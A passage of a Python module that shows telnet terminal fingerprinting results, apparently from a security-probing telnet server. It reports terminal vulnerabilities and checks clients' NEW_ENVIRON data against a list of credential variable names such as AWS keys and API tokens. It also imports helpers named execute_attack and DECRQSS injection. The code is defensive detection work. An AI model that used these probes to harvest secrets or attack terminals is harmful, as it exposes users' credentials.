"""
Display, REPL, and post-script functions for telnet fingerprinting.

This module contains all terminal display (blessed/prettytable), ucs-detect
integration, and interactive REPL code split from :mod:`fingerprinting`.
"""

# std imports
import os
import sys
import copy
import json
import random
import shutil
import logging
import termios
import tempfile
import textwrap
import warnings
import functools
import contextlib
import subprocess
from typing import TYPE_CHECKING, Any, Dict, List, Tuple, Optional, Generator

if TYPE_CHECKING:
    import blessed
    import prettytable

# third-party (optional)
try:
    from tv_detect.attacks import PASSKEY as _TV_PASSKEY
    from tv_detect.attacks import SEVERITY_COLOR
    from tv_detect.attacks import DECRQSS_INJECT_MARKER as _DECRQSS_INJECT_MARKER
    from tv_detect.execute import prompt_keys as _tv_prompt_keys
    from tv_detect.execute import execute_attack as _tv_execute_attack
    from tv_detect.execute import verify_passkey as _tv_verify_passkey
    from tv_detect.execute import try_decrqss_injection
    from tv_detect.execute import get_vulnerability_rows as _tv_vuln_rows
    from tv_detect.execute import get_attacks_for_software as _tv_get_attacks

    _HAS_TV_DETECT = True
except ImportError:
    _HAS_TV_DETECT = False
    _TV_PASSKEY = ""

#: Active passkey for tv-detect vulnerability gating.
#: Set from client NEW-ENVIRON, REPL input, or ``--passkey`` CLI argument.
_tv_passkey: str = ""

# local
from ._paths import _atomic_json_write  # noqa: E402
from .accessories import PATIENCE_MESSAGES  # noqa: E402
from .fingerprinting import (  # noqa: E402
    DATA_DIR,
    _UNKNOWN_TERMINAL_HASH,
    AMBIGUOUS_WIDTH_UNKNOWN,
    _hash_fingerprint,
    _resolve_hash_name,
    _validate_suggestion,
    _load_fingerprint_names,
)

__all__ = ("fingerprinting_post_script",)

logger = logging.getLogger("telnetlib3.fingerprint")

_BAT = shutil.which("bat") or shutil.which("batcat")
_JQ = shutil.which("jq")

echo = functools.partial(print, end="", flush=True)

_INPUT_FIELD_WIDTH = 18


def _log_identification(data: Dict[str, Any], names: Dict[str, str]) -> None:
    """Log terminal identification via syslog."""
    ip = _client_ip(data)

    # Auto-detected software name (XTVERSION or TERM)
    auto = _extract_software_name(data) or None

    # Telnet fingerprint: user-provided name or nearest match
    telnet_probe = data.get("telnet-probe", {})
    telnet_hash = telnet_probe.get("fingerprint", "")
    telnet_label: Optional[str]
    if telnet_hash in names:
        telnet_label = repr(names[telnet_hash])
    else:
        fp_data = telnet_probe.get("fingerprint-data")
        match = _find_nearest_match(fp_data, "telnet-probe", names) if fp_data else None
        telnet_label = f"{repr(_format_match(match[0], match[1]))}" if match else None

    # Terminal fingerprint: user-provided name or nearest match
    terminal_probe = data.get("terminal-probe", {})
    terminal_hash = terminal_probe.get("fingerprint", "")
    terminal_label: Optional[str]
    if terminal_hash and terminal_hash in names:
        terminal_label = repr(names[terminal_hash])
    elif terminal_hash:
        fp_data = terminal_probe.get("fingerprint-data")
        match = _find_nearest_match(fp_data, "terminal-probe", names) if fp_data else None
        terminal_label = f"{repr(_format_match(match[0], match[1]))}" if match else None
    else:
        terminal_label = None

    parts = []
    if auto:
        parts.append(auto)
    if telnet_label:
        parts.append(telnet_label)
    if terminal_label:
        parts.append(terminal_label)

    _syslog_info(f"Identified {ip} {' / '.join(parts)}" if parts else f"Identified {ip} (unknown)")


def _syslog_info(msg: str) -> None:
    """Write an INFO-level message to syslog with tv-detect-telnet ident."""
    import syslog
    import inspect

    frame = inspect.currentframe()
    caller = frame.f_back if frame else None
    lineno = caller.f_lineno if caller else 0
    syslog.openlog("tv-detect-telnet", syslog.LOG_PID)
    syslog.syslog(syslog.LOG_INFO, f"INFO fingerprinting_display.py:{lineno} {msg}")


def _flush_input(term: "blessed.Terminal") -> None:
    """Drain any pending input (e.g. stale CPR responses)."""
    discarded = []
    while True:
        key = term.inkey(timeout=0.1)
        if not key:
            break
        discarded.append(repr(str(key)))
    if discarded:
        ip = os.environ.get("IPADDRESS", "unknown")
        _syslog_info(f"client {ip} discarded input: {' '.join(discarded)}")


def _styled_input(term: "blessed.Terminal", prompt: str) -> str:
    """
    Read a line using term.inkey() with a white-on-blue 16-char input field.

    Handles arrow keys, backspace, and other CSI sequences gracefully instead of leaking raw escape
    bytes into the input.

    For MUD/line-mode clients (no raw mode), falls back to simple line-based input without cursor
    repositioning.

    :param term: blessed Terminal instance.
    :param prompt: Prompt text displayed before the input field.
    :returns: User input string, or empty string on escape/timeout.
    """
    _flush_input(term)

    # MUD clients: simple line input, no cursor tricks
    if os.environ.get("TV_DETECT_TERMINAL") != "1":
        echo(prompt)
        return _read_line(term).strip()

    echo(prompt)
    # Draw the empty input field
    field = " " * _INPUT_FIELD_WIDTH
    echo(f"{term.white_on_blue}{field}{term.normal}")
    # Move cursor back to start of field
    echo(f"\x1b[{_INPUT_FIELD_WIDTH}D")

    buf: list[str] = []
    while True:
        key = term.inkey(timeout=120)
        if not key:
            echo(term.normal + "\n")
            return ""
        if key.name in ("KEY_ENTER",) or str(key) in ("\r", "\n"):
            echo(term.normal + "\n")
            return "".join(buf)
        if key.name == "KEY_ESCAPE":
            echo(term.normal + "\n")
            return ""
        if key.name in ("KEY_BACKSPACE", "KEY_DELETE") or str(key) in ("\x7f", "\x08"):
            if buf:
                buf.pop()
                # Redraw field from cursor
                tail = "".join(buf) + " " * (_INPUT_FIELD_WIDTH - len(buf))
                echo(f"\r{prompt}{term.white_on_blue}{tail}{term.normal}")
                echo(f"\x1b[{_INPUT_FIELD_WIDTH - len(buf)}D")
            continue
        # Ignore non-printable / CSI sequences
        ch = str(key)
        if len(ch) == 1 and ch.isprintable() and len(buf) < _INPUT_FIELD_WIDTH:
            buf.append(ch)
            remaining = _INPUT_FIELD_WIDTH - len(buf)
            tail = "".join(buf) + " " * remaining
            echo(f"\r{prompt}{term.white_on_blue}{tail}{term.normal}")
            if remaining:
                echo(f"\x1b[{remaining}D")


def _run_ucs_detect() -> Optional[Dict[str, Any]]:
    """Run ucs-detect if available and return terminal fingerprint data."""
    ucs_detect = shutil.which("ucs-detect")
    if not ucs_detect:
        return None

    patience_msg = random.choice(PATIENCE_MESSAGES)
    echo(f"{patience_msg}...\r\n")

    with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as tmp:
        tmp_path = tmp.name

    # Pass only the environment variables relevant to terminal detection.
    # This prevents the server's own environment from leaking into probes.
    _PASSTHROUGH_KEYS = (
        "PATH",
        "HOME",
        "TERM",
        "TERM_PROGRAM",
        "TERM_PROGRAM_VERSION",
        "COLUMNS",
        "LINES",
        "COLORTERM",
        "LANG",
        "LC_ALL",
        "LC_CTYPE",
        "TERMINFO",
        "TERMINFO_DIRS",
    )
    env = {k: os.environ[k] for k in _PASSTHROUGH_KEYS if k in os.environ}
    env["UCS_DETECT_SYSLOG"] = "tv-detect-telnet"

    try:
        try:
            result = subprocess.run(
                [
                    ucs_detect,
                    "--limit-category-time=1",
                    "--limit-codepoints=10",
                    "--timeout-cps=2",
                    "--limit-errors=2",
                    "--probe-silently",
                    "--no-final-summary",
                    "--no-languages-test",
                    "--save-json",
                    tmp_path,
                ],
                timeout=20,
                check=False,
                env=env,
            )
        except subprocess.TimeoutExpired:
            _syslog_info("ucs-detect timed out (client unresponsive to probes)")
            return None

        if result.returncode != 0:
            _syslog_info(f"ucs-detect failed (exit {result.returncode})")
            return None

        if not os.path.exists(tmp_path):
            _syslog_info("ucs-detect did not create output file")
            return None

        with open(tmp_path, encoding="utf-8") as f:
            terminal_data = json.load(f)

        for key in ("python_version", "datetime", "system", "wcwidth_version"):
            terminal_data.pop(key, None)

        parsed: Dict[str, Any] = terminal_data
        return parsed

    finally:
        if os.path.exists(tmp_path):
            os.remove(tmp_path)


def _run_screen_scrape() -> Optional[Dict[str, Any]]:
    """
    Run screen-scrape if available and return captured screen contents.

    Must be called as the very first probe so that the screen contents are captured before any other
    output corrupts them.
    """
    screen_scrape = shutil.which("screen-scrape")
    if not screen_scrape:
        return None

    with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as tmp:
        tmp_path = tmp.name

    try:
        try:
            result = subprocess.run(
                [screen_scrape, "--save-json", tmp_path],
                timeout=30,
                check=False,
                stderr=subprocess.DEVNULL,
            )
        except subprocess.TimeoutExpired:
            logger.warning("screen-scrape timed out")
            return None

        if result.returncode != 0:
            logger.warning("screen-scrape exited with code %d", result.returncode)
            return None

        if not os.path.exists(tmp_path):
            logger.warning("screen-scrape did not create output file")
            return None

        with open(tmp_path, encoding="utf-8") as f:
            scrape_data: Dict[str, Any] = json.load(f)

        return scrape_data

    finally:
        if os.path.exists(tmp_path):
            os.remove(tmp_path)


def _create_terminal_fingerprint(terminal_data: Dict[str, Any]) -> Dict[str, Any]:
    """
    Create anonymized terminal fingerprint for hashing.

    Distills static terminal-identity fields from ucs-detect output, excluding session-variable data
    (colors, dimensions, timing).
    """
    fingerprint: Dict[str, Any] = {}

    results = terminal_data.get("terminal_results", {})
    fingerprint["software_name"] = terminal_data.get("software_name", "unknown")
    fingerprint["software_version"] = terminal_data.get("software_version", "unknown")

    fingerprint["number_of_colors"] = results.get("number_of_colors")
    fingerprint["sixel"] = results.get("sixel", False)
    fingerprint["iterm2_features"] = results.get("iterm2_features", {})

    fingerprint["kitty_graphics"] = results.get("kitty_graphics", False)
    fingerprint["kitty_clipboard_protocol"] = results.get("kitty_clipboard_protocol", False)
    fingerprint["kitty_keyboard"] = results.get("kitty_keyboard", {})
    fingerprint["kitty_notifications"] = results.get("kitty_notifications", False)
    fingerprint["kitty_pointer_shapes"] = results.get("kitty_pointer_shapes", False)

    fingerprint["text_sizing"] = results.get("text_sizing", {})

    da = results.get("device_attributes", {})
    fingerprint["da_service_class"] = da.get("service_class")
    fingerprint["da_extensions"] = sorted(da.get("extensions", []))

    raw_modes = results.get("modes", {})
    distilled_modes = {}
    for mode_num, mode_data in sorted(raw_modes.items(), key=lambda x: int(x[0])):
        if isinstance(mode_data, dict):
            distilled_modes[str(mode_num)] = {
                "supported": mode_data.get("supported", False),
                "changeable": mode_data.get("changeable", False),
                "enabled": mode_data.get("enabled", False),
                "value": mode_data.get("value", 0),
            }
    fingerprint["modes"] = distilled_modes

    fingerprint["xtgettcap"] = results.get("xtgettcap", {})
    fingerprint["ambiguous_width"] = terminal_data.get("ambiguous_width")

    raw_test_results = terminal_data.get("test_results", {})
    distilled_tests = {}
    for category, versions in raw_test_results.items():
        if not versions or not isinstance(versions, dict):
            continue
        for ver, entry in versions.items():
            if isinstance(entry, dict):
                distilled_tests[category] = {
                    "unicode_version": ver,
                    "n_errors": entry.get("n_errors", 0),
                    "n_total": entry.get("n_total", 0),
                }
                break
    if distilled_tests:
        fingerprint["test_results"] = distilled_tests

    return fingerprint


def _wrap_options(options: List[str], max_width: int = 30) -> str:
    """Word-wrap a list of options to fit within max_width."""
    if not options:
        return ""
    return "\n".join(textwrap.wrap(", ".join(options), width=max_width))


def _color_yes_no(term: "blessed.Terminal", value: bool) -> str:
    """Apply green/red coloring to boolean value."""
    if value:
        return str(term.forestgreen("Yes"))
    return str(term.firebrick1("No"))


def _format_ttype(
    extra: Dict[str, Any], session_data: Dict[str, Any], wrap_width: int = 30
) -> Optional[str]:
    """Format terminal type from TTYPE cycle for compact display."""
    ttype_cycle = session_data.get("ttype_cycle", [])
    term_type = extra.get("TERM") or extra.get("term")
    if not term_type and not ttype_cycle:
        return None
    primary = ttype_cycle[0] if ttype_cycle else term_type
    primary_lower = primary.lower() if primary else ""
    others = []
    seen = {primary_lower}
    for ttype_val in ttype_cycle[1:]:
        t_lower = ttype_val.lower()
        if t_lower not in seen:
            seen.add(t_lower)
            others.append(t_lower)
    type_str = primary or ""
    if others:
        suffix = ", ".join(others)
        if len(type_str) + len(suffix) + 3 > wrap_width:
            wrapped = "\n".join(textwrap.wrap(suffix, width=wrap_width - 2))
            type_str += f" ({wrapped})"
        else:
            type_str += f" ({suffix})"
    return type_str


def _is_utf8_charset(value: str) -> bool:
    """Test whether a charset or encoding string refers to UTF-8."""
    return value.lower().replace("-", "").replace("_", "") in ("utf8", "unicode11utf8")


def _format_encoding(
    extra: Dict[str, Any], proto_data: Dict[str, Any], ambiguous_width: Optional[int] = None
) -> Optional[Tuple[str, str]]:
    """Consolidate LANG, charset, and encoding into a single key-value pair."""
    lang_val = extra.get("LANG")
    charset_val = extra.get("charset")
    encoding_val = proto_data.get("encoding")

    no_unicode = ambiguous_width == AMBIGUOUS_WIDTH_UNKNOWN

    if charset_val and no_unicode and _is_utf8_charset(charset_val):
        charset_val = "unknown (ascii-only)"

    if lang_val and charset_val:
        return ("LANG (Charset)", f"{lang_val} ({charset_val})")
    if lang_val:
        return ("LANG", lang_val)
    if charset_val:
        return ("Charset", charset_val)
    if encoding_val and encoding_val != "None":
        return ("Encoding", encoding_val)
    return None


def _build_terminal_rows(term: "blessed.Terminal", data: Dict[str, Any]) -> List[Tuple[str, str]]:
    """Build (key, value) tuples for terminal capabilities table."""
    pairs: List[Tuple[str, str]] = []
    terminal_probe = data.get("terminal-probe", {})
    terminal_data = terminal_probe.get("session_data", {})
    terminal_results = terminal_data.get("terminal_results", {})
    if not terminal_data:
        return pairs

    if fp_hash := terminal_probe.get("fingerprint"):
        pairs.append(("Fingerprint", fp_hash))

    if software := terminal_data.get("software_name"):
        if ver := terminal_data.get("software_version"):
            software += f" {ver}"
        if len(software) > 15:
            software = software[:14] + ("\u2026" if _has_unicode(data) else "..")
        pairs.append(("Software", software))

    telnet_probe = data.get("telnet-probe", {})
    session_data = telnet_probe.get("session_data", {})
    extra = session_data.get("extra", {})
    cols = extra.get("cols") or extra.get("COLUMNS")
    rows = extra.get("rows") or extra.get("LINES")
    if cols and rows:
        size_str = f"{cols}x{rows}"
        cell_w = terminal_results.get("cell_width")
        cell_h = terminal_results.get("cell_height")
        if cell_w and cell_h:
            size_str += f" (*{cell_w}x{cell_h})"
        pairs.append(("Size", size_str))

    if (n_colors := terminal_results.get("number_of_colors")) is not None:
        if n_colors >= 16777216:
            color_str = term.forestgreen("24-bit")
        elif n_colors <= 256:
            color_str = term.firebrick1(f"{n_colors}")
        else:
            color_str = term.darkorange(f"{n_colors}")
        pairs.append(("Colors", color_str))

    has_fg = terminal_results.get("foreground_color_hex") is not None
    has_bg = terminal_results.get("background_color_hex") is not None
    if has_fg or has_bg:
        pairs.append(("fg/bg colors", _color_yes_no(term, has_fg and has_bg)))

    has_kitty_gfx = terminal_results.get("kitty_graphics", False)
    has_iterm2_gfx = (terminal_results.get("iterm2_features") or {}).get("supported", False)
    has_sixel = terminal_results.get("sixel", False)
    if has_kitty_gfx or has_iterm2_gfx:
        protocols = []
        if has_kitty_gfx:
            protocols.append("Kitty")
        if has_iterm2_gfx:
            protocols.append("iTerm2")
        if has_sixel:
            protocols.append("Sixel")
        pairs.append(("Graphics", term.forestgreen(", ".join(protocols))))
    elif has_sixel:
        pairs.append(("Graphics", term.darkorange("Sixel")))
    elif any(k in terminal_results for k in ("sixel", "kitty_graphics", "iterm2_features")):
        pairs.append(("Graphics", term.firebrick1("No")))

    if da := terminal_results.get("device_attributes"):
        if (sc := da.get("service_class")) is not None:
            class_names = {
                1: "VT100",
                2: "VT200",
                18: "VT330",
                41: "VT420",
                61: "VT500",
                62: "VT500",
                64: "VT500",
                65: "VT500",
            }
            pairs.append(("Device Class", class_names.get(sc, f"Class {sc}")))

    screen_ratio = terminal_results.get("screen_ratio")
    if screen_ratio:
        ratio_name = terminal_results.get("screen_ratio_name", "")
        if ratio_name:
            pairs.append(("Aspect Ratio", f"{screen_ratio} ({ratio_name})"))
        else:
            pairs.append(("Aspect Ratio", screen_ratio))

    ambiguous_width = terminal_data.get("ambiguous_width")
    if ambiguous_width == 2:
        pairs.append(("Ambiguous Width", "wide (2)"))

    modes = terminal_results.get("modes", {})
    mode_2027 = modes.get(2027, modes.get("2027"))
    if mode_2027 is not None:
        gc_value = _color_yes_no(term, mode_2027.get("supported"))
        pairs.append(("Graphemes(2027)", gc_value))
    elif modes:
        pairs.append(("Graphemes(2027)", term.darkorange("N/A")))

    test_results = terminal_data.get("test_results", {})
    _emoji_keys = (
        "unicode_wide_results",
        "emoji_zwj_results",
        "emoji_vs16_results",
        "emoji_vs15_results",
    )
    all_pcts = []
    for key in _emoji_keys:
        for entry in test_results.get(key, {}).values():
            if (pct := entry.get("pct_success")) is not None:
                all_pcts.append(pct)
    if all_pcts:
        avg = sum(all_pcts) / len(all_pcts)
        if avg >= 99.0:
            pairs.append(("Emoji", term.forestgreen("Yes")))
        elif avg >= 33.3:
            pairs.append(("Emoji", term.darkorange("Partial")))
        else:
            pairs.append(("Emoji", term.firebrick1("No")))

    return pairs


def _build_telnet_rows(term: "blessed.Terminal", data: Dict[str, Any]) -> List[Tuple[str, str]]:
    """Build (key, value) tuples for telnet protocol table."""
    pairs: List[Tuple[str, str]] = []
    telnet_probe = data.get("telnet-probe", {})
    proto_data = telnet_probe.get("fingerprint-data", {})
    session_data = telnet_probe.get("session_data", {})
    extra = session_data.get("extra", {})

    if fp_hash := telnet_probe.get("fingerprint"):
        pairs.append(("Fingerprint", fp_hash))

    wrap_width = 30
    if type_str := _format_ttype(extra, session_data, wrap_width):
        pairs.append(("Terminal Type", type_str))

    terminal_probe = data.get("terminal-probe", {})
    aw = terminal_probe.get("session_data", {}).get("ambiguous_width")
    if encoding_pair := _format_encoding(extra, proto_data, aw):
        pairs.append(encoding_pair)

    if supported := proto_data.get("supported-options"):
        pairs.append(("Options", _wrap_options(supported, wrap_width)))

    if rejected_will := proto_data.get("rejected-will"):
        pairs.append(("Rejected", _wrap_options(rejected_will, wrap_width)))

    slc_tab = session_data.get("slc_tab", {})
    if slc_tab:
        slc_set = slc_tab.get("set", {})
        slc_unset = slc_tab.get("unset", [])
        slc_nosupport = slc_tab.get("nosupport", [])
        parts = []
        if slc_set:
            parts.append(f"{len(slc_set)} set")
        if slc_unset:
            parts.append(f"{len(slc_unset)} unset")
        if slc_nosupport:
            parts.append(f"{len(slc_nosupport)} nosupport")
        if parts:
            pairs.append(("SLC", ", ".join(parts)))

    env_vars = []
    for key in ("USER", "HOME", "SHELL", "IPADDRESS"):
        if proto_data.get(key) == "True":
            env_vars.append(key)
    if env_vars:
        pairs.append(("Environment", ", ".join(env_vars)))

    if tspeed := extra.get("tspeed"):
        pairs.append(("Speed", tspeed))

    return pairs


#: Credential / secret env vars -- immediate red flag if leaked over telnet.
_CRITICAL_ENV_VARS = frozenset(
    {
        # AWS credentials
        "AWS_ACCESS_KEY_ID",
        "AWS_SECRET_ACCESS_KEY",
        "AWS_SESSION_TOKEN",
        # SSH network topology -- reveals internal IPs / jump-host identity
        "SSH_REMOTE_HOST",
        "SSH_REMOTE_IP",
        # API keys / tokens
        "GITHUB_TOKEN",
        "GH_TOKEN",
        "GITLAB_TOKEN",
        "GL_TOKEN",
        "ANTHROPIC_API_KEY",
        "OPENAI_API_KEY",
        "STRIPE_SECRET_KEY",
        "SENDGRID_API_KEY",
        "HEROKU_API_KEY",
        "NPM_TOKEN",
        "SLACK_TOKEN",
        "TWILIO_AUTH_TOKEN",
        # Database credentials
        "DATABASE_URL",
        "PGPASSWORD",
        "MYSQL_PWD",
        "REDIS_URL",
        # Azure / GCP
        "AZURE_CLIENT_SECRET",
        "GOOGLE_APPLICATION_CREDENTIALS",
        # Generic secret patterns
        "SECRET_KEY",
        "API_KEY",
        "PRIVATE_KEY",
        "JWT_SECRET",
        # Docker credentials
        "DOCKER_PASSWORD",
    }
)

#: Vars that are useful for a telnet session -- everything else is oversharing.
_USEFUL_ENV_VARS = frozenset(
    {
        "TERM",
        "TERM_PROGRAM",
        "TERM_PROGRAM_VERSION",
        "COLUMNS",
        "LINES",
        "COLORTERM",
        "LANG",
        "LC_ALL",
        "LC_CTYPE",
        "DISPLAY",
        "USER",
        "LOGNAME",
        "EDITOR",
        "VISUAL",
        "IPADDRESS",
        # MUD client MTTS/MNES capabilities (desirable to share)
        "256_COLORS",
        "ANSI",
        "CHARSET",
        "CLIENT_NAME",
        "CLIENT_VERSION",
        "MTTS",
        "OSC_COLOR_PALETTE",
        "OSC_HYPERLINKS",
        "OSC_HYPERLINKS_MENU",
        "OSC_HYPERLINKS_PROMPT",
        "OSC_HYPERLINKS_SEND",
        "OSC_HYPERLINKS_STYLE_BASIC",
        "OSC_HYPERLINKS_STYLE_STATES",
        "OSC_HYPERLINKS_TOOLTIP",
        "SCREEN_READER",
        "TERMINAL_TYPE",
        "TLS",
        "TRUECOLOR",
        "UTF-8",
        "VT100",
        "WORD_WRAP",
    }
)


def _osc8(url: str, text: str) -> str:
    """Format an OSC 8 terminal hyperlink."""
    return f"\x1b]8;;{url}\x1b\\{text}\x1b]8;;\x1b\\"


_CVE_2005_0488_URL = "https://nvd.nist.gov/vuln/detail/CVE-2005-0488"
_CVE_2005_1205_URL = "https://nvd.nist.gov/vuln/detail/CVE-2005-1205"
_DECRQCRA_REF_URL = "https://dgl.cx/2023/09/ansi-terminal-security"


def _extract_software_name(data: Dict[str, Any]) -> str:
    """
    Extract terminal software name from fingerprint data.

    Checks XTVERSION ``software_name`` first, then falls back to
    the TTYPE / TERM environment variable from the telnet probe.
    """
    terminal_session = data.get("terminal-probe", {}).get("session_data", {})
    sw = terminal_session.get("software_name") or ""
    if sw:
        return sw
    telnet_probe = data.get("telnet-probe", {})
    extra = telnet_probe.get("session_data", {}).get("extra", {})
    return extra.get("TERM") or ""


def _extract_passkey(data: Dict[str, Any]) -> str:
    """
    Extract passkey from client NEW-ENVIRON data.

    Checks the env var from the telnet session's extra info
    against the tv-detect passkey format.

    :returns: Passkey string in ``KEY=VALUE`` format, or empty string.
    """
    if not _HAS_TV_DETECT:
        return ""
    telnet_probe = data.get("telnet-probe", {})
    extra = telnet_probe.get("session_data", {}).get("extra", {})
    envvar, _, expected = _TV_PASSKEY.partition("=")
    value = extra.get(envvar, "")
    if value == expected:
        return str(_TV_PASSKEY)
    return ""


def _build_vulnerabilities_rows(
    term: "blessed.Terminal", data: Dict[str, Any]
) -> List[Tuple[str, str]]:
    """
    Build (key, value) tuples for the vulnerabilities table.

    Only vulnerabilities that are actually detected are shown. CVE identifiers are on the left,
    descriptions with the affected protocol/sequence in parentheses on the right.
    """
    high: List[Tuple[str, str]] = []
    medium: List[Tuple[str, str]] = []
    low: List[Tuple[str, str]] = []

    _high = term.bold_firebrick1
    _med = term.darkorange
    _low = term.yellowgreen

    # -- HIGH --

    # DECRQSS injection
    injection = data.get("injection_probe")
    if injection and injection.get("injectable"):
        ref = _osc8(_DECRQCRA_REF_URL, "Leadbeater 2023")
        high.append((ref, f"{_high('[HIGH]')} {_high('Response injection (DECRQSS)')}"))

    # Terminal-specific vulnerabilities from tv-detect
    if _HAS_TV_DETECT:
        sw_name = _extract_software_name(data)
        _sev_fn = {"HIGH": _high, "MEDIUM": _med, "LOW": _low}
        for ref, sev, name in _tv_vuln_rows(sw_name, passkey=_tv_passkey):
            fn = _sev_fn.get(sev, _low)
            bucket = {"HIGH": high, "MEDIUM": medium, "LOW": low}.get(sev, low)
            bucket.append((ref, f"{fn(f'[{sev}]')} {fn(name)}"))

    # -- MEDIUM --

    # NEW_ENVIRON oversharing
    telnet_probe = data.get("telnet-probe", {})
    session_data = telnet_probe.get("session_data", {})
    extra = session_data.get("extra", {})
    env_keys = [k for k in extra if k == k.upper() and extra[k]]
    critical = sorted(k for k in env_keys if k in _CRITICAL_ENV_VARS)
    overshared = sorted(
        k for k in env_keys if k not in _CRITICAL_ENV_VARS and k not in _USEFUL_ENV_VARS
    )
    cve_refs = (
        _osc8(_CVE_2005_0488_URL, "CVE-2005-0488")
        + ", "
        + _osc8(_CVE_2005_1205_URL, "CVE-2005-1205")
    )
    if critical:
        high.append(
            (
                cve_refs,
                f"{_high('[HIGH]')} {_high('LEAKED: ' + ', '.join(critical) + ' (NEW_ENVIRON)')}",
            )
        )
    if overshared:
        low.append(
            (
                cve_refs if not critical else "",
                f"{_low('[LOW]')} "
                f"{_low('Oversharing: ' + ', '.join(overshared) + ' (NEW_ENVIRON)')}",
            )
        )

    # CVE probes from vt-houdini
    cve_results = data.get("cve_results")
    if not cve_results:
        terminal_probe = data.get("terminal-probe", {})
        cve_results = (
            terminal_probe.get("session_data", {})
            .get("terminal_results", {})
            .get("cve_results", {})
        )
    for cve_id, result in sorted(cve_results.items()):
        if result and result is not False:
            url = f"https://nvd.nist.gov/vuln/detail/{cve_id}"
            label = _osc8(url, cve_id)
            medium.append((label, f"{_med('[MEDIUM]')} {_med('Vulnerable')}"))

    # -- LOW (screen scraping) --

    sts_probe = data.get("sts_probe")
    scrape = data.get("screen-scrape")
    if sts_probe and sts_probe.get("sts"):
        ref = _osc8(_DECRQCRA_REF_URL, "Leadbeater 2023")
        if scrape and scrape.get("method") == "sts":
            low.append((ref, f"{_low('[LOW]')} {_low('Screen scraping (STS)')}"))
        else:
            low.append((ref, f"{_low('[LOW]')} {_low('Screen scraping (STS) supported')}"))

    decrqcra_probe = data.get("decrqcra_probe")
    if not decrqcra_probe and scrape:
        decrqcra_probe = scrape
    if decrqcra_probe:
        ref = (
            _osc8(_DECRQCRA_REF_URL, "Leadbeater 2023")
            if not (sts_probe and sts_probe.get("sts"))
            else ""
        )
        if decrqcra_probe.get("decrqcra"):
            if scrape and (scrape.get("screen_0") or scrape.get("screen_1")):
                low.append((ref, f"{_low('[LOW]')} {_low('Screen scraping (DECRQCRA)')}"))
            else:
                low.append((ref, f"{_low('[LOW]')} {_low('Screen scraping (DECRQCRA) supported')}"))
        elif scrape and scrape.get("method") != "sts" and "decrqcra" not in (scrape or {}):
            low.append((ref, f"{_low('[LOW]')} {_low('Screen scraping (DECRQCRA) supported')}"))

    return high + medium + low


def _make_terminal(**kwargs: Any) -> "blessed.Terminal":
    """Create a blessed Terminal, falling back to ``ansi`` on setupterm failure."""
    from blessed import Terminal

    with warnings.catch_warnings(record=True) as caught:
        warnings.simplefilter("always")
        term = Terminal(**kwargs)
    if any("setupterm" in str(w.message) for w in caught):
        kwargs["kind"] = "ansi"
        with warnings.catch_warnings():
            warnings.simplefilter("ignore")
            term = Terminal(**kwargs)
    return term


@contextlib.contextmanager
def _disable_isig() -> Generator[None, None, None]:
    """Disable ``ISIG`` so that ``^C`` and ``^Z`` are ignored."""
    fd = sys.stdin.fileno()
    old = termios.tcgetattr(fd)
    new = list(old)
    new[3] &= ~termios.ISIG
    termios.tcsetattr(fd, termios.TCSANOW, new)
    try:
        yield
    finally:
        termios.tcsetattr(fd, termios.TCSANOW, old)


def _has_unicode(data: Dict[str, Any]) -> bool:
    """Return whether the terminal supports unicode rendering."""
    aw = (
        data.get("terminal-probe", {})
        .get("session_data", {})
        .get("ambiguous_width", AMBIGUOUS_WIDTH_UNKNOWN)
    )
    return bool(aw >= 1)


def _sync_timeout(data: Dict[str, Any]) -> float:
    """Return synchronized output timeout based on measured RTT."""
    cps = data.get("terminal-probe", {}).get("session_data", {}).get("cps_summary", {})
    if (rtt_max := cps.get("rtt_max_ms")) and rtt_max > 0:
        return float(rtt_max * 1.1 / 1000.0)
    return 1.0


def _setup_term_environ(data: Dict[str, Any]) -> None:
    """
    Set ``TERM`` and ``COLORTERM`` based on probe data.

    Overrides ``TERM`` to ``ansi`` for Microsoft telnet clients whose
    ``vtnt`` terminfo contains ``$<N>`` padding sequences displayed as
    literal text.  Sets ``COLORTERM=truecolor`` when 24-bit color was
    confirmed by the terminal probe, removes it otherwise to prevent the
    server's own stale value from leaking through.
    """
    ttype_cycle = data.get("telnet-probe", {}).get("session_data", {}).get("ttype_cycle", [])
    # Microsoft telnet cycles ANSI -> VT100 -> VT52 -> VTNT -> VTNT.
    # The "vtnt" terminfo contains $<N> padding sequences that MS telnet
    # displays as literal text.  Override to "ansi" which has no padding.
    if ttype_cycle == ["ANSI", "VT100", "VT52", "VTNT", "VTNT"]:
        os.environ["TERM"] = "ansi"

    if _has_truecolor(data):
        os.environ["COLORTERM"] = "truecolor"
    else:
        os.environ.pop("COLORTERM", None)


def _has_truecolor(data: Dict[str, Any]) -> bool:
    """Return whether the terminal supports 24-bit color."""
    n = (
        data.get("terminal-probe", {})
        .get("session_data", {})
        .get("terminal_results", {})
        .get("number_of_colors")
    )
    return n is not None and n >= 16777216


def _hotkey(term: "blessed.Terminal", key: str) -> str:
    """Format a hotkey as ``key-`` with key and dash in magenta."""
    return f"{term.bold_magenta(key)}{term.bold_magenta('-')}"


def _bracket_key(term: "blessed.Terminal", key: str) -> str:
    """Format a hotkey as ``[key]`` with brackets in cyan, key in magenta."""
    return f"{term.cyan('[')}{term.bold_magenta(key)}{term.cyan(']')}"


def _apply_unicode_borders(tbl: "prettytable.PrettyTable") -> None:
    """Apply double-line box-drawing characters to a PrettyTable."""
    tbl.horizontal_char = "\u2550"
    tbl.vertical_char = "\u2551"
    tbl.junction_char = "\u256c"
    tbl.top_junction_char = "\u2566"
    tbl.bottom_junction_char = "\u2569"
    tbl.left_junction_char = "\u2560"
    tbl.right_junction_char = "\u2563"
    tbl.top_left_junction_char = "\u2554"
    tbl.top_right_junction_char = "\u2557"
    tbl.bottom_left_junction_char = "\u255a"
    tbl.bottom_right_junction_char = "\u255d"


def _display_compact_summary(
    data: Dict[str, Any], term: Optional["blessed.Terminal"] = None
) -> bool:
    """Display compact fingerprint summary using prettytable."""
    # Flush any stale probe responses before displaying tables
    if term is not None:
        term.flushinp()
    try:
        from ucs_detect import _collect_side_by_side_lines
        from prettytable import PrettyTable
    except ImportError:
        return False

    if term is None:
        term = _make_terminal()

    has_unicode = _has_unicode(data)

    def make_table(title: str, pairs: List[Tuple[str, str]]) -> str:
        tbl = PrettyTable()
        if has_unicode:
            _apply_unicode_borders(tbl)
        tbl.title = term.magenta(title)
        tbl.field_names = ["Attribute", "Value"]
        tbl.align["Attribute"] = "r"
        tbl.align["Value"] = "l"
